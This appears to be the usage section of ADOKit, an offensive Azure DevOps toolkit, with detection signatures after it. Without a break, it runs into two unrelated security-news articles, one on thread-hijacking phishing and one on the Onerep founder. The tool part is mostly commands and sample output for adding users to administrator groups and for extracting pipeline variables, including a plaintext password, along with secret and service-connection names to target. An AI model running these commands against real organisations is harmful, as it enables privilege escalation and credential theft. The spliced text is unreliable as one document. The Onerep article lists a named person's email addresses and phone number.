Provide the getgroupmembers module and the group(s) you would like to search for in the /group: command-line argument, along with any relevant authentication information and URL. This will output the user principal name of the group matching, along with each group member of that group including the user's mail address and display name.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:\>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
==================================================
Module: getgroupmembers
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:03 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
[TestProject2]\Build Administrators | user2@YourOrganization.onmicrosoft.com | User 2
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Project Administrators | rsmith@YourOrganization.onmicrosoft.com | Ron Smith
[TestProject2]\Project Administrators | user1@YourOrganization.onmicrosoft.com | User 1
[TestProject2]\Project Administrators | user2@YourOrganization.onmicrosoft.com | User 2
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
[ProjectWithMultipleRepos]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Build Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
Get a listing of who has permissions to a given project.
Provide the getpermissions module and the project you would like to search for in the /project: command-line argument, along with any relevant authentication information and URL. This will output the user principal name, display name and description for the matching group. Additionally, this will output the group members for each of those groups.
ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"
ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Mem bers of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: List ing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributo rs | user1@YourOrganization.onmicrosoft.com | User 1
[MaraudersMap]\Contributors | user2@YourOrganization.onmicrosoft.com | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | jsmith@YourOrganization.onmicrosoft.com | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Add a user to the Project Administrators group for a given project.
Provide the addprojectadmin module along with a /project: and /user: for a given user to be added to the Project Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:\>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 2:52:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
-------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Project Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
Remove a user from the Project Administrators group for a given project.
Provide the removeprojectadmin module along with a /project: and /user: for a given user to be removed from the Project Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Add a user to the Build Administrators group for a given project.
Provide the addbuildadmin module along with a /project: and /user: for a given user to be added to the Build Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:\>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:41:51 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
-------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
Remove a user from the Build Administrators group for a given project.
Provide the removebuildadmin module along with a /project: and /user: for a given user to be removed from the Build Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Add a user to the Project Collection Administrators group.
Provide the addcollectionadmin module along with a /user: for a given user to be added to the Project Collection Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:04:40 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
-------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
[YourOrganization]\Project Collection Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
Remove a user from the Project Collection Administrators group.
Provide the removecollectionadmin module along with a /user: for a given user to be removed from the Project Collection Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Add a user to the Project Collection Build Administrators group.
Provide the addcollectionbuildadmin module along with a /user: for a given user to be added to the Project Collection Build Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:39 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
---------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
Remove a user from the Project Collection Build Administrators group.
Provide the removecollectionbuildadmin module along with a /user: for a given user to be removed from the Project Collection Build Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Add a user to the Project Collection Build Service Accounts group.
Provide the addcollectionbuildsvc module along with a /user: for a given user to be added to the Project Collection Build Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:13 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
------------------------------------------------------------------------------------------------ --------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Service Accounts | user1@YourOrganization.onmicrosoft.com | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
Remove a user from the Project Collection Build Service Accounts group.
Provide the removecollectionbuildsvc module along with a /user: for a given user to be removed from the Project Collection Build Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
----------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Add a user to the Project Collection Service Accounts group.
Provide the addcollectionsvc module along with a /user: for a given user to be added to the Project Collection Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:01 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | jsmith@YourOrganization.onmicrosoft.com | John Smith
[YourOrganization]\Project Collection Service Accounts | user1@YourOrganization.onmicrosoft.com | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
Remove a user from the Project Collection Service Accounts group.
Provide the removecollectionsvc module along with a /user: for a given user to be removed from the Project Collection Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
-------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | jsmith@YourOrganization.onmicrosoft.com | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Extract any pipeline variables being used in project(s), which could contain credentials or other useful information.
Provide the getpipelinevars module along with a /project: for a given project to extract any pipeline variables being used. If you would like to extract pipeline variables from all projects specify all in the /project: argument.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:\>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinevars
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/6/2023 12:08:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
-----------------------------------------------------------------------------------
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
Extract the names of any pipeline secrets being used in project(s), which will direct the operator where to attempt to perform secret extraction.
Provide the getpipelinesecrets module along with a /project: for a given project to extract the names of any pipeline secrets being used. If you would like to extract the names of pipeline secrets from all projects specify all in the /project: argument.
ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
List any service connections being used in project(s), which will direct the operator where to attempt to perform credential extraction for any service connections being used.
Provide the getserviceconnections module along with a /project: for a given project to list any service connections being used. If you would like to list service connections being used from all projects specify all in the /project: argument.
ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Below are static signatures for the specific usage of this tool in its default state:
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
ADOKit-21e233d4334f9703d1a3a42b6e2efd38
ADOKitUsage.json - Detects the usage of ADOKit with any auditable event (e.g., adding a user to a group)PersistenceTechniqueWithADOKit.json - Detects the creation of a PAT or SSH key with ADOKitFor detection guidance of the techniques used by the tool, see the X-Force Red whitepaper.
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devopsThread hijacking attacks. They happen when someone you know has their email account compromised, and you are suddenly dropped into an existing conversation between the sender and someone else. These missives draw on the recipient’s natural curiosity about being copied on a private discussion, which is modified to include a malicious link or attachment. Here’s the story of a thread hijacking attack in which a journalist was copied on a phishing email from the unwilling subject of a recent scoop.
In Sept. 2023, the Pennsylvania news outlet LancasterOnline.com published a story about Adam Kidan, a wealthy businessman with a criminal past who is a major donor to Republican causes and candidates, including Rep. Lloyd Smucker (R-Pa).
The LancasterOnline story about Adam Kidan.
Several months after that piece ran, the story’s author Brett Sholtis received two emails from Kidan, both of which contained attachments. One of the messages appeared to be a lengthy conversation between Kidan and a colleague, with the subject line, “Re: Successfully sent data.” The second missive was a more brief email from Kidan with the subject, “Acknowledge New Work Order,” and a message that read simply, “Please find the attached.”
Sholtis said he clicked the attachment in one of the messages, which then launched a web page that looked exactly like a Microsoft Office 365 login page. An analysis of the webpage reveals it would check any submitted credentials at the real Microsoft website, and return an error if the user entered bogus account information. A successful login would record the submitted credentials and forward the victim to the real Microsoft website.
But Sholtis said he didn’t enter his Outlook username and password. Instead, he forwarded the messages to LancasterOneline’s IT team, which quickly flagged them as phishing attempts.
LancasterOnline Executive Editor Tom Murse said the two phishing messages from Mr. Kidan raised eyebrows in the newsroom because Kidan had threatened to sue the news outlet multiple times over Sholtis’s story.
“We were just perplexed,” Murse said. “It seemed to be a phishing attempt but we were confused why it would come from a prominent businessman we’ve written about. Our initial response was confusion, but we didn’t know what else to do with it other than to send it to the FBI.”
The phishing lure attached to the thread hijacking email from Mr. Kidan.
In 2006, Kidan was sentenced to 70 months in federal prison after pleading guilty to defrauding lenders along with Jack Abramoff, the disgraced lobbyist whose corruption became a symbol of the excesses of Washington influence peddling. He was paroled in 2009, and in 2014 moved his family to a home in Lancaster County, Pa.
The FBI hasn’t responded to LancasterOnline’s tip. Messages sent by KrebsOnSecurity to Kidan’s emails addresses were returned as blocked. Messages left with Mr. Kidan’s company, Empire Workforce Solutions, went unreturned.
No doubt the FBI saw the messages from Kidan for what they likely were: The result of Mr. Kidan having his Microsoft Outlook account compromised and used to send malicious email to people in his contacts list.
Thread hijacking attacks are hardly new, but that is mainly true because many Internet users still don’t know how to identify them. The email security firm Proofpoint says it has tracked north of 90 million malicious messages in the last five years that leverage this attack method.
One key reason thread hijacking is so successful is that these attacks generally do not include the tell that exposes most phishing scams: A fabricated sense of urgency. A majority of phishing threats warn of negative consequences should you fail to act quickly — such as an account suspension or an unauthorized high-dollar charge going through.
In contrast, thread hijacking campaigns tend to patiently prey on the natural curiosity of the recipient.
Ryan Kalember, chief strategy officer at Proofpoint, said probably the most ubiquitous examples of thread hijacking are “CEO fraud” or “business email compromise” scams, wherein employees are tricked by an email from a senior executive into wiring millions of dollars to fraudsters overseas.
But Kalember said these low-tech attacks can nevertheless be quite effective because they tend to catch people off-guard.
“It works because you feel like you’re suddenly included in an important conversation,” Kalember said. “It just registers a lot differently when people start reading, because you think you’re observing a private conversation between two different people.”
Some thread hijacking attacks actually involve multiple threat actors who are actively conversing while copying — but not addressing — the recipient.
“We call these multi-persona phishing scams, and they’re often paired with thread hijacking,” Kalember said. “It’s basically a way to build a little more affinity than just copying people on an email. And the longer the conversation goes on, the higher their success rate seems to be because some people start replying to the thread [and participating] psycho-socially.”
The best advice to sidestep phishing scams is to avoid clicking on links or attachments that arrive unbidden in emails, text messages and other mediums. If you’re unsure whether the message is legitimate, take a deep breath and visit the site or service in question manually — ideally, using a browser bookmark so as to avoid potential typosquatting sites.
The data privacy company Onerep.com bills itself as a Virginia-based service for helping people remove their personal information from almost 200 people-search websites. However, an investigation into the history of onerep.com finds this company is operating out of Belarus and Cyprus, and that its founder has launched dozens of people-search services over the years.
Onerep’s “Protect” service starts at $8.33 per month for individuals and $15/mo for families, and promises to remove your personal information from nearly 200 people-search sites. Onerep also markets its service to companies seeking to offer their employees the ability to have their data continuously removed from people-search sites.
A testimonial on onerep.com.
Customer case studies published on onerep.com state that it struck a deal to offer the service to employees of Permanente Medicine, which represents the doctors within the health insurance giant Kaiser Permanente. Onerep also says it has made inroads among police departments in the United States.
But a review of Onerep’s domain registration records and that of its founder reveal a different side to this company. Onerep.com says its founder and CEO is Dimitri Shelest from Minsk, Belarus, as does Shelest’s profile on LinkedIn. Historic registration records indexed by DomainTools.com say Mr. Shelest was a registrant of onerep.com who used the email address dmitrcox2@gmail.com.
A search in the data breach tracking service Constella Intelligence for the name Dimitri Shelest brings up the email address dimitri.shelest@onerep.com. Constella also finds that Dimitri Shelest from Belarus used the email address d.sh@nuwber.com, and the Belarus phone number +375-292-702786.
Nuwber.com is a people search service whose employees all appear to be from Belarus, and it is one of dozens of people-search companies that Onerep claims to target with its data-removal service. Onerep.com’s website disavows any relationship to Nuwber.com, stating quite clearly, “Please note that OneRep is not associated with Nuwber.com.”
However, there is an abundance of evidence suggesting Mr. Shelest is in fact the founder of Nuwber. Constella found that Minsk telephone number (375-292-702786) has been used multiple times in connection with the email address dmitrcox@gmail.com. Recall that Onerep.com’s domain registration records in 2018 list the email address dmitrcox2@gmail.com.
It appears Mr. Shelest sought to reinvent his online identity in 2015 by adding a “2” to his email address. The Belarus phone number tied to Nuwber.com shows up in the domain records for comversus.com, and DomainTools says this domain is tied to both dmitrcox@gmail.com and dmitrcox2@gmail.com. Other domains that mention both email addresses in their WHOIS records include careon.me, docvsdoc.com, dotcomsvdot.com, namevname.com, okanyway.com and tapanyapp.com.
Onerep.com CEO and founder Dimitri Shelest, as pictured on the “about” page of onerep.com.
A search in DomainTools for the email address dmitrcox@gmail.com shows it is associated with the registration of at least 179 domain names, including dozens of mostly now-defunct people-search companies targeting citizens of Argentina, Brazil, Canada, Denmark, France, Germany, Hong Kong, Israel, Italy, Japan, Latvia and Mexico, among others.
Those include nuwber.fr, a site registered in 2016 which was identical to the homepage of Nuwber.com at the time. DomainTools shows the same email and Belarus phone number are in historic registration records for nuwber.at, nuwber.ch, and nuwber.dk (all domains linked here are to their cached copies at archive.org, where available).
Nuwber.com, circa 2015. Image: Archive.org.
Update, March 21, 11:15 a.m. ET: Mr. Shelest has provided a lengthy response to the findings in this story. In summary, Shelest acknowledged maintaining an ownership stake in Nuwber, but said there was “zero cross-over or information-sharing with OneRep.” Mr. Shelest said any other old domains that may be found and associated with his name are no longer being operated by him.
“I get it,” Shelest wrote. “My affiliation with a people search business may look odd from the outside. In truth, if I hadn’t taken that initial path with a deep dive into how people search sites work, Onerep wouldn’t have the best tech and team in the space. Still, I now appreciate that we did not make this more clear in the past and I’m aiming to do better in the future.” The full statement is available here (PDF).
Original story:
